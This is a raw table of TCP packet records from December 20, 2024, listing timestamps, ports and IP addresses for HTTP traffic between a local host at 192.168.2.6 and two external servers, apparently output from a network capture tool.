Dec 20, 2024 17:43:47.793179035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.793263912 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.840940952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.841048956 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.841126919 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.842252970 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.842314005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.842693090 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.842740059 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.843023062 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.843076944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.845289946 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.846266985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.866735935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.867063046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.867147923 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.867211103 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.867238045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.867255926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.867295980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.868249893 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.868612051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.868662119 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.868666887 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.868697882 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.869637012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.869697094 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.869741917 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.870712996 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.870956898 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.871000051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.871695995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.871881008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.871929884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.872739077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.872790098 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.873001099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.873788118 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.873832941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.874031067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.874833107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.874888897 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.875024080 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.875061989 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.875880003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.875925064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.876018047 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.876246929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.876934052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.876975060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.877147913 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.877197981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.878021955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.878068924 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.878133059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.878257990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.879004002 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.879062891 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.879098892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.879133940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.880354881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.880645037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.880711079 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.881072998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.881561995 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.881612062 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.882153988 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.882167101 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.882194996 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.882219076 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.883169889 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.883506060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.883549929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.884223938 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.884449005 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.884500027 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.885313988 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.885487080 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.885549068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.886306047 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.886364937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.886507988 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.886545897 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.887345076 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.887492895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.887552023 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.888401985 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.888755083 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.888816118 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.889415979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.889461994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.889578104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.890492916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.890512943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.890549898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.890569925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.891520977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.891833067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.891891003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.892571926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.892640114 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.892692089 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.893580914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.893903017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.893964052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.894603014 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.894682884 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.894773960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.895690918 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.895745993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.896111965 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.896703005 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.896754026 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.896833897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.897811890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.897823095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.897864103 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.897877932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.898819923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.898874044 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.899080038 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.899115086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.899836063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.900253057 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.900317907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.900871038 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.901146889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.901177883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.901216030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.901964903 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.902209044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.902256966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.902936935 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.903764963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.903820038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.903995991 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.904038906 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.904170990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.904804945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.905018091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.905915976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.905973911 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.906044960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.906131983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.906143904 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.906172991 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.906203985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.906346083 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.906388044 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.907072067 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.907119989 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.907128096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.907140017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.907161951 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.907186031 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.907330990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.907387972 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.908222914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.908437967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.908503056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.909404993 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.909425020 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.909436941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.909450054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.909483910 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.909506083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.910263062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.910319090 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.910448074 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.910666943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.910718918 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.910721064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.910865068 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.910904884 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.911282063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.911329031 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.911459923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.912362099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.912424088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.912481070 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.912496090 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.912533998 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.912610054 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.912637949 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.912655115 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.913395882 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.913784027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.913846016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.914232969 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.914397955 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.914411068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.914449930 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.914468050 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.914525032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.914565086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.915431976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.915759087 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.915788889 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.915889025 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.916033983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.916044950 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.916104078 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.916471958 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.916512966 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.917082071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.917537928 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.917721987 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.917740107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.917752028 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.917817116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.917854071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.917890072 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.917968988 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.918554068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.918850899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.918909073 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.919469118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.919533968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.919586897 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.919673920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.919686079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.919712067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.919748068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.920670033 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.920819998 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.920902967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:47.921256065 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.921314955 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:47.921528101 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.921977997 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.922039032 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.922888994 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.923441887 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.923490047 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.924660921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.924793005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.925026894 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.925065994 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.926341057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.926390886 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.926603079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.926636934 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.928056955 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.928266048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.928309917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.929810047 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.929881096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.929912090 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.929949045 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.931499958 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.931792974 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.931826115 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.931847095 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.933209896 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.933252096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.933490992 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.933535099 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.934905052 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.934967041 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.935441971 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.935477972 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.936702013 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.936745882 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.936980963 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.937149048 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.938364029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.938417912 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.938453913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.938492060 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.940080881 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.940157890 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.940391064 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.940443993 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.941800117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.941880941 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.942169905 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.942228079 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.943514109 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.943553925 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.944092989 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.944133997 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.945322037 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.945367098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.945383072 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.945419073 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.946944952 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.946999073 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.947303057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.948191881 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.948704958 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.948723078 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.948765993 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.948786020 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.950397968 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.950457096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.950480938 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.950494051 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.952131033 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.952198982 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.952284098 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.952318907 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.953814983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.953896046 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.954679966 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.954754114 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.955548048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.955606937 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.956031084 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.956190109 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.957292080 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.957356930 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.957815886 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.957853079 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.959044933 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.959058046 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.959103107 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.960763931 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.960784912 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.960874081 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.962403059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.962450027 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.962682962 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.962719917 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.964108944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.964174986 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.965034962 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.966005087 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.966064930 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.966134071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.966171980 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.967458963 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.967525005 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.967590094 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.967628956 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.969053984 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.969177961 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.970706940 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.970835924 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:47.970837116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:47.970855951 CET	80	49776	194.126.174.112	192.168.2.6
